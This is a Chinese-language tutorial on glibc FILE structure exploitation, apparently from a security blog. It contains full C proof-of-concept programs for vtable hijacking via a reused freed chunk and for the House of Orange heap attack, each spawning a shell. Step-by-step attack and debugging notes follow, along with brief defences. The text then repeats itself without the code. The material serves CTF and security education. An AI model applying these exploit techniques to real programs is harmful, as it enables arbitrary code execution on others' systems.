Pwn with File结构体(一)
字数 1694 2025-08-25 22:58:56

FILE结构体利用技术详解

一、FILE结构体概述

在Linux系统中,标准I/O操作通过FILE结构体(_IO_FILE)实现。_IO_FILE_plus结构体实际上是_IO_FILE加上虚表指针(vtable)组成。

关键结构

  • _IO_FILE: 基础文件结构体,包含文件操作的各种状态和缓冲区信息
  • vtable: 指向一组函数指针,决定文件操作的具体实现

在64位系统中,_IO_FILE结构体大小通常为0xe0字节,加上8字节的vtable指针,整个_IO_FILE_plus大小为0xe8字节。

二、利用vtable进行攻击

基本原理

通过控制FILE结构体的vtable指针,可以劫持文件操作函数,当调用如fclose等函数时,执行攻击者控制的代码。

示例代码分析

#include <stdio.h>
#include <stdlib.h>

void pwn(void) {
    system("sh");
}

// 伪造的vtable函数指针数组
void * funcs[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // // write
    NULL, // seek
    pwn,  // close - 这是我们劫持的目标
    NULL, // stat
    NULL, // showmanyc
    NULL  // imbue
};

int main(int argc, char * argv[]) {
    FILE *fp;
    unsigned char *str;
    
    // 分配_IO_FILE_plus大小的内存
    str = malloc(sizeof(FILE) + sizeof(void *));
    free(str);
    
    // 打开文件,会重用刚释放的内存
    if (!(fp = fopen("/dev/null", "r"))) {
        perror("fopen");
        return 1;
    }
    
    // 修改vtable指针指向我们伪造的函数表
    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
    
    // 调用fclose触发close函数调用
    fclose(fp);
    return 0;
}

攻击步骤

  1. 分配并释放一个_IO_FILE_plus大小的内存块
  2. 调用fopen重用该内存
  3. 修改vtable指针指向攻击者控制的函数表
  4. 调用fclose触发恶意代码执行

调试关键点

  • 分配的内存大小应为0xe8字节(0xe0+0x8)
  • 观察vtable指针的位置和内容变化
  • 确认close函数被替换为pwn函数

三、House of Orange攻击技术

House of Orange是一种结合堆利用和FILE结构体利用的高级攻击技术。

示例代码分析

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner(char *ptr) {
    system(ptr);
    return 0;
}

int main() {
    char *p1, *p2;
    size_t io_list_all, *top;
    
    // 分配0x400字节的chunk
    p1 = malloc(0x400-16);
    
    // 获取top chunk地址并修改其size
    top = (size_t *)((char *)p1 + 0x400 - 16);
    top[1] = 0xc01;
    
    // 触发_int_free,top chunk进入unsorted bin
    p2 = malloc(0x1000);
    
    // 计算io_list_all地址
    io_list_all = top[2] + 0x9a8;
    
    // 伪造top chunk的bk指针
    top[3] = io_list_all - 0x10;
    
    // 在伪造的FILE结构体开头写入/bin/sh
    memcpy((char *)top, "/bin/sh\x00", 8);
    
    // 修改top chunk大小为0x60
    top[1] = 0x61;
    
    // 设置_IO_FILE结构体字段
    _IO_FILE *fp = (_IO_FILE *)top;
    fp->_mode = 0;
    fp->_IO_write_base = (char *)2;
    fp->_IO_write_ptr = (char *)3;
    
    // 设置虚表
    size_t *jump_table = &top[12];
    jump_table[3] = (size_t)&winner;
    *(size_t *)((size_t)fp + sizeof(_IO_FILE)) = (size_t)jump_table;
    
    // 触发攻击
    malloc(10);
    return 0;
}

攻击步骤详解

  1. 初始堆布局

    • 分配一个0x400字节的chunk
    • 修改top chunk的size为0xc01
  2. 触发堆扩展

    • 分配大内存(0x1000)使当前top chunk进入unsorted bin
  3. 计算关键地址

    • 通过unsorted bin中的fd指针计算io_list_all地址
    • io_list_all通常位于main_arena上方0x9a8处
  4. 伪造FILE结构体

    • 设置top chunk的bk为io_list_all-0x10
    • 在伪造的FILE结构体开头写入"/bin/sh"
    • 修改size为0x60使其能进入smallbin[5]
  5. 设置_IO_FILE字段

    • _mode = 0
    • _IO_write_base = 2
    • _IO_write_ptr = 3 (满足_IO_write_ptr > _IO_write_base)
  6. 伪造vtable

    • 设置__overflow为winner函数
    • 将vtable指针指向伪造的函数表
  7. 触发利用

    • 调用malloc(10)触发unsorted bin处理
    • 通过unsorted bin attack修改io_list_all
    • 程序abort时遍历_IO_list_all调用_IO_OVERFLOW

关键调试点

  1. unsorted bin attack阶段

    • 观察_IO_list_all被修改为main_arena+88
    • 确认伪造的chunk被链入smallbin[5]
  2. abort流程

    • fflush(NULL)调用_IO_flush_all_lockp
    • 遍历_IO_list_all调用_IO_OVERFLOW
    • 第二次循环时使用我们伪造的FILE结构体
  3. vtable调用

    • 确认__overflow被正确替换为winner函数
    • 观察"/bin/sh"参数传递

四、防御措施

  1. vtable校验

    • glibc增加了对vtable地址的校验,确保位于合法区域
  2. 指针保护

    • 使用指针加密等技术保护关键函数指针
  3. 堆完整性检查

    • 加强对堆chunk的完整性验证
  4. 更新glibc

    • 及时更新到最新版本,修复已知漏洞

五、总结

FILE结构体利用是CTF比赛和实际漏洞利用中的高级技术,要点包括:

  1. 理解_IO_FILE_IO_FILE_plus的内存布局
  2. 掌握vtable劫持的基本原理
  3. 熟悉House of Orange等高级利用技术
  4. 了解glibc的防御机制及绕过方法
  5. 熟练使用调试工具分析利用过程

通过精心构造FILE结构体和vtable,攻击者可以在特定条件下实现代码执行,这种技术在内存破坏漏洞利用中具有重要意义。

FILE结构体利用技术详解 一、FILE结构体概述 在Linux系统中,标准I/O操作通过FILE结构体( _IO_FILE )实现。 _IO_FILE_plus 结构体实际上是 _IO_FILE 加上虚表指针(vtable)组成。 关键结构 _IO_FILE : 基础文件结构体,包含文件操作的各种状态和缓冲区信息 vtable : 指向一组函数指针,决定文件操作的具体实现 在64位系统中, _IO_FILE 结构体大小通常为0xe0字节,加上8字节的vtable指针,整个 _IO_FILE_plus 大小为0xe8字节。 二、利用vtable进行攻击 基本原理 通过控制FILE结构体的vtable指针,可以劫持文件操作函数,当调用如 fclose 等函数时,执行攻击者控制的代码。 示例代码分析 攻击步骤 分配并释放一个 _IO_FILE_plus 大小的内存块 调用 fopen 重用该内存 修改vtable指针指向攻击者控制的函数表 调用 fclose 触发恶意代码执行 调试关键点 分配的内存大小应为0xe8字节(0xe0+0x8) 观察vtable指针的位置和内容变化 确认close函数被替换为pwn函数 三、House of Orange攻击技术 House of Orange是一种结合堆利用和FILE结构体利用的高级攻击技术。 示例代码分析 攻击步骤详解 初始堆布局 分配一个0x400字节的chunk 修改top chunk的size为0xc01 触发堆扩展 分配大内存(0x1000)使当前top chunk进入unsorted bin 计算关键地址 通过unsorted bin中的fd指针计算 io_list_all 地址 io_list_all 通常位于 main_arena 上方0x9a8处 伪造FILE结构体 设置top chunk的bk为 io_list_all-0x10 在伪造的FILE结构体开头写入"/bin/sh" 修改size为0x60使其能进入smallbin[ 5 ] 设置_ IO_ FILE字段 _mode = 0 _IO_write_base = 2 _IO_write_ptr = 3 (满足 _IO_write_ptr > _IO_write_base ) 伪造vtable 设置 __overflow 为winner函数 将vtable指针指向伪造的函数表 触发利用 调用 malloc(10) 触发unsorted bin处理 通过unsorted bin attack修改 io_list_all 程序abort时遍历 _IO_list_all 调用 _IO_OVERFLOW 关键调试点 unsorted bin attack阶段 观察 _IO_list_all 被修改为 main_arena+88 确认伪造的chunk被链入smallbin[ 5 ] abort流程 fflush(NULL) 调用 _IO_flush_all_lockp 遍历 _IO_list_all 调用 _IO_OVERFLOW 第二次循环时使用我们伪造的FILE结构体 vtable调用 确认 __overflow 被正确替换为winner函数 观察"/bin/sh"参数传递 四、防御措施 vtable校验 glibc增加了对vtable地址的校验,确保位于合法区域 指针保护 使用指针加密等技术保护关键函数指针 堆完整性检查 加强对堆chunk的完整性验证 更新glibc 及时更新到最新版本,修复已知漏洞 五、总结 FILE结构体利用是CTF比赛和实际漏洞利用中的高级技术,要点包括: 理解 _IO_FILE 和 _IO_FILE_plus 的内存布局 掌握vtable劫持的基本原理 熟悉House of Orange等高级利用技术 了解glibc的防御机制及绕过方法 熟练使用调试工具分析利用过程 通过精心构造FILE结构体和vtable,攻击者可以在特定条件下实现代码执行,这种技术在内存破坏漏洞利用中具有重要意义。